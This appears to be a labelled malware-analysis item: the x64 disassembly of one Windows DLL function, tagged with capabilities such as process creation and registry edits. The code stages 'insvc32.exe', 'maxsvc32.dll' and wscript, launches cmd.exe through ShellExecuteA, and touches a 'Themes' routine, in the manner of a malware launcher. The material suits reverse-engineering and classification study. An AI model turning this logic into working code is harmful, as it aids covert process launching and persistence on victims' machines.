Function at 0x1800037a0
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x160
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor r12d, r12d
mov ebp, ecx
lea rcx, [rsp + 0x41]
mov ebx, r12d
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], bl
mov esi, r12d
call sub.MSVCR90.dll_memset
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x180008b30]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
jne 0x18000386b
lea rcx, [0x180008b30]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x180008b30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x180008b30]
repne scasb al, byte [rdi]
movzx eax, word [0x18000647c]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [0x180008b30]
repne scasb al, byte [rdi]
mov rax, qword [str.insvc32.exe]
mov qword [rdi - 1], rax
mov eax, dword [0x180006488]
mov dword [rdi + 7], eax
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x180008c40]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
jne 0x1800038f0
lea rcx, [0x180008c40]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x180008c40]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x180008c40]
repne scasb al, byte [rdi]
movzx eax, word [0x18000647c]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [0x180008c40]
repne scasb al, byte [rdi]
mov rax, qword [str.maxsvc32.dll]
mov qword [rdi - 1], rax
mov eax, dword [0x180006498]
mov dword [rdi + 7], eax
movzx eax, byte [0x18000649c]
mov byte [rdi + 0xb], al
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x180008d50]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
jne 0x18000396b
lea rcx, [0x180008d50]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x180008d50]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x180008d50]
repne scasb al, byte [rdi]
movzx eax, word [0x18000647c]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [0x180008d50]
repne scasb al, byte [rdi]
mov rax, qword [str.wscript.exe]
mov qword [rdi - 1], rax
mov eax, dword [0x1800064a8]
mov dword [rdi + 7], eax
mov edi, dword [0x1800089a4]
lea rcx, str.kernel32
mov dword [rsp + 0x30], r12d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180008898], rax
test rax, rax
je 0x1800039ce
mov r8d, edi
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1800039ce
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [0x180008898]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x30], ebx
jne 0x180003a5b
lea rcx, str.wscript.exe
mov edx, 1
call fcn.180003680
test eax, eax
jne 0x180003a16
lea r8, [0x180008d50]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x64
nop dword [rax + rax]
mov ecx, 0x64
dec edi
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.wscript.exe
mov edx, 1
call fcn.180003680
test eax, eax
jne 0x180003a4b
test edi, edi
jg 0x180003a20
jmp 0x180003b7b
mov ecx, 0x32c8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180003b3a
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x64
nop dword [rax + rax]
mov ecx, 0x64
dec edi
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.z.exe
mov edx, 1
call fcn.180003680
test eax, eax
jne 0x180003a98
test edi, edi
jg 0x180003a70
jmp 0x180003ae9
mov ecx, 0x32c8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x180008848]
lea rax, [rsp + 0x30]
lea rdx, [0x180008198]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [0x18000897c], 0x63
mov dword [rsp + 0x30], 0x63
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, 1
cmp ebp, 6
jne 0x180003b32
test ebx, ebx
jne 0x180003b32
mov rcx, qword [0x180008848]
lea rax, [rsp + 0x30]
lea r9d, [rbp - 2]
lea rdx, [0x180008198]
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [0x18000897c], r12d
mov dword [rsp + 0x30], r12d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor eax, eax
jmp 0x180003c66
cmp dword [0x18000897c], esi
jne 0x180003b7b
mov rcx, qword [0x180008848]
lea rax, [rsp + 0x30]
lea rdx, [0x180008198]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [0x18000897c], 0x58
mov dword [rsp + 0x30], 0x58
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov r8d, dword [0x1800089a4]
lea r9, [0x180008c40]
lea rdx, str._d__s
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, [rsp + 0x40]
lea r8, [0x180008b30]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, 0x64
mov ecx, 0x64
dec edi
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x180008848]
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
lea rdx, [0x180008198]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x34], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], r12d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [rsp + 0x30]
mov dword [0x18000897c], edx
cmp edx, 1
je 0x180003c1d
test edi, edi
jg 0x180003bc0
jmp 0x180003c64
mov esi, 1
cmp ebx, esi
jne 0x180003c64
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [0x180008a20]
lea r8, str.cmd.exe
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp ebp, 6
jne 0x180003c64
lea rcx, str.Themes
call fcn.1800035c0
mov eax, esi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180004640
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret